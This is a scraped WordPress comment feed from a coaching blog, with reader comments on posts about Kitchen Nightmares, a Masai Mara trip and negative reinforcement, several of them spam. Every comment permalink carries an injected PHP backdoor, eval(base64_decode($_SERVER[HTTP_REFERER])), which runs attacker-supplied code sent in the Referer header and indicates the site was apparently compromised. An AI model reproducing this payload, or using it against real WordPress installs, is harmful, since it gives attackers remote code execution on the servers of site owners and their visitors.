Comments for 3 Simple Rules http://www.3simplerules.com Over 80 years of research Thu, 11 Mar 2010 03:06:00 +0000 http://wordpress.org/?v=2.7 hourly 1 Comment on Observations about Gordon Ramsay’s Kitchen Nightmares by jerry cardinal http://www.3simplerules.com/2006/11/30/observations-about-gordon-ramseys-kitchen-nightmares/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2944 jerry cardinal Sun, 11 Jan 2009 20:48:18 +0000 http://www.3simplerules.com/?p=30#comment-2944 Ive just watched rococo in canada I was a chef in Newwcastle. The owner there had the same problem. So when I stared there we changed to a more laid back stlye. "Al pacinnos" Lower prices,turnover,profits. Hurray! Ive just watched rococo in canada
I was a chef in Newwcastle.
The owner there had the same problem.
So when I stared there we changed to
a more laid back stlye.
“Al pacinnos”
Lower prices,turnover,profits.
Hurray!

]]> Comment on Observations about Gordon Ramsay’s Kitchen Nightmares by Nina http://www.3simplerules.com/2006/11/30/observations-about-gordon-ramseys-kitchen-nightmares/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2943 Nina Thu, 24 Apr 2008 19:46:34 +0000 http://www.3simplerules.com/?p=30#comment-2943 I always watch Gordon Ramsay, and he absolutely always works the same formula: Observe current situation (set the baseline) Clean the kitchen (set the environment) Simplify the menu (set expectations) Fill the restaurant with punters (R+ for new start) Restaurant struggles to cope but is encouraged to move up a gear (coaching) At this point, he gets people who don't fit to leave the organisation, or the manager to decide to fire them! Restaurant tries again and is successful (R+ and ££) I am sure the TV misses out some of the R+, for dramatic effect, but there is always a "moment of truth" for the subject when they realise they just have to change. Normally at this point, the only way is up! I always watch Gordon Ramsay, and he absolutely always works the same formula:
Observe current situation (set the baseline)
Clean the kitchen (set the environment)
Simplify the menu (set expectations)
Fill the restaurant with punters (R+ for new start)
Restaurant struggles to cope but is encouraged to move up a gear (coaching) At this point, he gets people who don’t fit to leave the organisation, or the manager to decide to fire them!
Restaurant tries again and is successful (R+ and ££)

I am sure the TV misses out some of the R+, for dramatic effect, but there is always a “moment of truth” for the subject when they realise they just have to change. Normally at this point, the only way is up!

]]> Comment on Hole Management: Getting Started with Plan vs. Actual by Simon http://www.3simplerules.com/2007/09/08/hole-management-getting-started-with-plan-vs-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2746 Simon Sat, 23 Feb 2008 03:03:01 +0000 http://www.3simplerules.com/?p=45#comment-2746 This article provided us little necessary info on this topic. The topic very interesting. This article provided us little
necessary info on this topic.
The topic very interesting.

]]> Comment on Observations about Gordon Ramsay’s Kitchen Nightmares by MadameMonet http://www.3simplerules.com/2006/11/30/observations-about-gordon-ramseys-kitchen-nightmares/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-1277 MadameMonet Sun, 02 Dec 2007 07:28:39 +0000 http://www.3simplerules.com/?p=30#comment-1277 This is absolutely my current favorite show on TV! I really enjoyed reading your business-oriented article and analysis on this program! Best regards, Madame Monet winewriter.wordpress.com This is absolutely my current favorite show on TV! I really enjoyed reading your business-oriented article and analysis on this program!

Best regards,
Madame Monet
winewriter.wordpress.com

]]> Comment on The Masai Mara was fab! by liberi http://www.3simplerules.com/2006/11/08/the-masai-mara-was-fab/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-14 liberi Thu, 15 Mar 2007 02:44:48 +0000 http://www.3simplerules.com/?p=20#comment-14 Du musst ein Fachmann sein - wirklich guter Aufstellungsort, den du hast! Du musst ein Fachmann sein - wirklich guter Aufstellungsort, den du hast!

]]> Comment on The Masai Mara was fab! by italia http://www.3simplerules.com/2006/11/08/the-masai-mara-was-fab/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-12 italia Mon, 12 Mar 2007 11:40:44 +0000 http://www.3simplerules.com/?p=20#comment-12 mmm.. nice design, I must say.. mmm.. nice design, I must say..

]]> Comment on The Masai Mara was fab! by Phentermine http://www.3simplerules.com/2006/11/08/the-masai-mara-was-fab/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-10 Phentermine Fri, 09 Mar 2007 21:03:23 +0000 http://www.3simplerules.com/?p=20#comment-10 Nice design, good graphical content. I think I'll come back later again;) Nice design, good graphical content. I think I’ll come back later again;)

]]> Comment on The Masai Mara was fab! by Antonio http://www.3simplerules.com/2006/11/08/the-masai-mara-was-fab/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-7 Antonio Thu, 01 Mar 2007 12:52:49 +0000 http://www.3simplerules.com/?p=20#comment-7 Very nice site! Good work. Very nice site! Good work.

]]> Comment on So what is a serious dose of negative reinforcement? by Bruce http://www.3simplerules.com/2006/10/22/so-what-is-a-serious-dose-of-negative-reinforcement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-3 Bruce Mon, 23 Oct 2006 15:43:03 +0000 http://www.3simplerules.com/?p=11#comment-3 But what if the Sudden Negative Change is deliberately introduced by the coach? This could be done by making observations and providing it as feedback to the individual. These observations would be designed to show how the individual's behaviour is having a negative impact on the local environment. But what if the Sudden Negative Change is deliberately introduced by the coach? This could be done by making observations and providing it as feedback to the individual. These observations would be designed to show how the individual’s behaviour is having a negative impact on the local environment.

]]> Comment on So what is a serious dose of negative reinforcement? by Matthew http://www.3simplerules.com/2006/10/22/so-what-is-a-serious-dose-of-negative-reinforcement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-2 Matthew Mon, 23 Oct 2006 07:50:58 +0000 http://www.3simplerules.com/?p=11#comment-2 I don't agree with the Kubler Ross R- analogy. I think Kubler Ross better describes an Extinction process (R+ removal) and then subsequent identification of an alternate source of R+. This fits very well with death of a close friend, loss of a job, road accident or any other traumatic event where a major source of R+ is removed. I don’t agree with the Kubler Ross R- analogy. I think Kubler Ross better describes an Extinction process (R+ removal) and then subsequent identification of an alternate source of R+. This fits very well with death of a close friend, loss of a job, road accident or any other traumatic event where a major source of R+ is removed.

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